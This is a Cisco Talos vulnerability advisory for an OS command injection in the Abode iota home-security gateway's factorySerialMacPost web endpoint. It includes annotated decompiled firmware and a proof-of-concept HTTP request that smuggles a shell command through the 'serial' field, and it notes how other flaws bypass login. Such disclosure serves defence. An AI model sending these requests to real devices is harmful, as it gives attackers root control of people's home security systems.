Talos Vulnerability Report

TALOS-2022-1566

Abode Systems, Inc. iota All-In-One Security Kit web interface util_set_serial_mac OS command injection vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-29472

SUMMARY

An OS command injection vulnerability exists in the web interface util_set_serial_mac functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device is configured at the factory with a unique serial number and MAC address. These unique values are stored into the `bootargs` variable in the U-Boot environment, which is ultimately passed to the kernel as its command line.

The device exposes a method for initializing or modifying these values through the `/action/factorySerialMacPost` endpoint, which relies on an underlying function titled `utils_set_serial_mac` to make the underlying configuration change to the U-Boot environment.

In order to enable the web interface either TALOS-2022-1552 or TALOS-2022-1553 may be used, and access to this endpoint can be conducted without knowledge of the username or password using TALOS-2022-1554.

When an HTTP request is submitted to `/action/factorySerialMacPost` it will reach the designated handler function located at offset `0x19BEBC` of the `/root/hpgw` included in firmware 6.9Z. The relevant portions of the decompilation of this function have been included, with annotations, below.

```
int __fastcall factorySerialMacPost(mg_connection *conn, mg_request_info *ri)
{
  int payload_len;
  unsigned int idx;
  _BYTE *mac;
  unsigned __int8 *mac;
  char serial_no[64];
  char mac_addr[64];
  int abode_code[16];
  char payload[280];

  payload_len = http_collect_payload(conn, ri, payload, 256);
  memset(serial_no, 0, sizeof(serial_no));

  // [1] Extract the `serial` value from the POST payload
  mg_get_var(payload, payload_len, "serial", serial_no, 0x3F);
  memset(mac_addr, 0, sizeof(mac_addr));
  mg_get_var(payload, payload_len, "mac", mac_addr, 0x3F);

  // [2] If `serial` (and `mac`) parameters exist
  if ( serial_no[0] && mac_addr[0] )
  {
    ...
    // [3] Call the vulnerable function
    util_set_serial_mac(serial_no, mac);
    memset(abode_code, 0, sizeof(abode_code));
    mg_get_var(payload, payload_len, "code", abode_code, 0x3F);
    util_set_abode_code(abode_code);
    sync();
    sync();
    sync();
    return web_success(conn);
  }
  else
  {
    err_str = strtable_get("WEB_ERR_PARAM_EMPTY", 19);
    return web_error(conn, 0, err_str, "Serial or Mac");
  }
}
```

At `[1]` the `serial` and `mac` parameters are extracted from the HTTP request and checked at `[2]` for their existence. If they exist, then at `[3]` they are passed into the vulnerable `util_set_serial_mac` function.

The `util_set_serial_mac` function is at offset `0xA89E8` of the `/root/hpgw` binary in version 6.9Z. It expects two arguments, the `serial_no` and `mac` of the device, and uses the helper binaries of `fw_printenv` and `fw_setenv` to read and write to the U-Boot bootargs. The relevant portions of the decompiled function are included below.

```
int __fastcall util_set_serial_mac(char *serial_no, char *mac)
{
  char *original;
  char *key;
  size_t modified_size;
  size_t v8;
  char *value;
  char *offset;
  char *v11;
  size_t v12;
  size_t v13;
  size_t v14;
  size_t v15;
  size_t v16;
  size_t v17;
  size_t v19;
  size_t v20;
  size_t v21;
  size_t v22;
  char bootargs[512];
  char v24[512];
  char modified[512];
  char command[528];

  if ( *serial_no && *mac )
  {
    if ( !dir_exists("/var/lock") )
      mkdir("/var/lock", 0x1FDu);
    memset(bootargs, 0, sizeof(bootargs));
    // [1] Extract the current `bootargs` setting using `fw_printenv`
    if ( popen_read("/gm/tools/env/fw_printenv -n bootargs", bootargs, 511) > 0 &&
bootargs[0] )
    {
      bootargs[strcspn(bootargs, "\n")] = 0;
      memset(modified, 0, sizeof(modified));
      for ( original = bootargs; ; original = 0 )
      {
        // [2] tokenize each boot arg by splitting on spaces (format is
`key_1=value_1 key_2=value_2 ...`)
        key = strtok(original, " ");
        if ( !key )
          break;

        if ( startswith(key, "ethaddr=") && *mac )
        {
          end = strlen(modified);
          strncpy(&modified[end], "ethaddr=", 511);
          end = strlen(modified);
          value = mac;
          strncpy(&modified[end], value, 511);
          offset = &modified[end];
        }
        // [3] If the key is the `climax_product` key AND a `serial_no` was provided
        else if ( startswith(key, "climax_product=") && *serial_no )
        {
          // [4] Then update the modified line with a new key=value setting the
`climax_product` to the `serial_no`
          end = strlen(modified);
          strncpy(&modified[end], "climax_product=", 511);
          end = strlen(modified);
          value = serial_no;
          offset = &modified[end];
        }
        else // [5] If it's any other key, just prepare to append it to the
`modified` line with no changes
        {
          end = strlen(modified);
          value = key;
          offset = &modified[end];
        }
        // [6] Append whatever `key=value` was configured earlier and add a space in
preparation for the next k/v pair
        strncpy(offset, value, 511);
        end = strlen(modified);
        strncpy(&modified[end], " ", 511);
      }
      v11 = &command[strlen(modified) + 511];
      if ( *(v11 - 1024) == 32 )
        *(v11 - 1024) = 0;
LABEL_21:
      memset(command, 0, 0x200u);
      // [7] Construct the call to `fw_setenv` to replace old bootargs with the
modified bootargs
      vsnprintf_nullterm(command, 0x1FFu, "/gm/tools/env/fw_setenv bootargs %s",
modified);
      // [8] Call the process via `popen`
      popen_write(command);
      return 0;
    }
    log(4, 20, "\x1B[33mutil_set_serial_mac failed on fw_printenv or no
bootargs\x1B[0m");
    memset(v24, 0, sizeof(v24));
    if ( popen_read("/gm/tools/env/fw_printenv -n cmd2", v24, 511) > 0 && v24[0] )
    {
      v24[strcspn(v24, "\n")] = 0;
      memset(modified, 0, sizeof(modified));
      strncpy_0(modified, v24, 511);
      if ( *mac )
      {
        v12 = strlen(modified);
        strncpy_0(&modified[v12], " ", 511);
        v13 = strlen(modified);
        strncpy_0(&modified[v13], "ethaddr=", 511);
        v14 = strlen(modified);
        strncpy_0(&modified[v14], mac, 511);
      }
      if ( *serial_no )
      {
        v15 = strlen(modified);
        strncpy_0(&modified[v15], " ", 511);
        v16 = strlen(modified);
        strncpy_0(&modified[v16], "climax_product=", 511);
        v17 = strlen(modified);
        strncpy_0(&modified[v17], serial_no, 511);
      }
      goto LABEL_21;
    }
    log(4, 20, "\x1B[33mutil_set_serial_mac failed on fw_printenv or no
cmd2\x1B[0m");
  }
  return -1;
}
```

This function works by [1] extracting the current `bootargs` value from the U-Boot env by calling `/gm/tools/env/fw_printenv -n bootargs`. On the device under test, this returns `mem=128M gmmem=90M console=ttyS0,115200 user_debug=31 init=/squashfs_init root=/dev/mtdblock2 rootfstype=squashfs ethaddr=B0:C5:CA:XX:XX:XX climax_product=Z3,XXXX,YYYY,ZZZZ`. It then [2] tokenizes the value by splitting on space characters. The function begins iterating over each key=value pair and checks if the pair is one of either `ethaddr` or `climax_product`. If the current key/value pair is not of interest [6], it is appended directly to the `modified` buffer without change. If the key is `climax_product` [5] then the entire pair is replaced with the new `climax_product={serial_no}`. Finally, after reconstructing the modified bootargs, the `modified` value is used to construct [7] a command that will be executed using a call to `popen` at [8].

If an attacker submits a `serial` value properly formatted to escape the vulnerable call at [7] to the `/action/factorySerialMacPost` endpoint, then the injected command will be executed by the root user.

Exploit Proof of Concept

```
POST /action/factorySerialMacPost HTTP/1.1
Host: 10.1.1.201
X-Climax-Tag: Factory-27940001-21245121
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 1326

mac=b0:c5:ca:00:00:00&serial=%3b+sleep+10+%23
```

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1554

NEXT REPORT

TALOS-2022-1567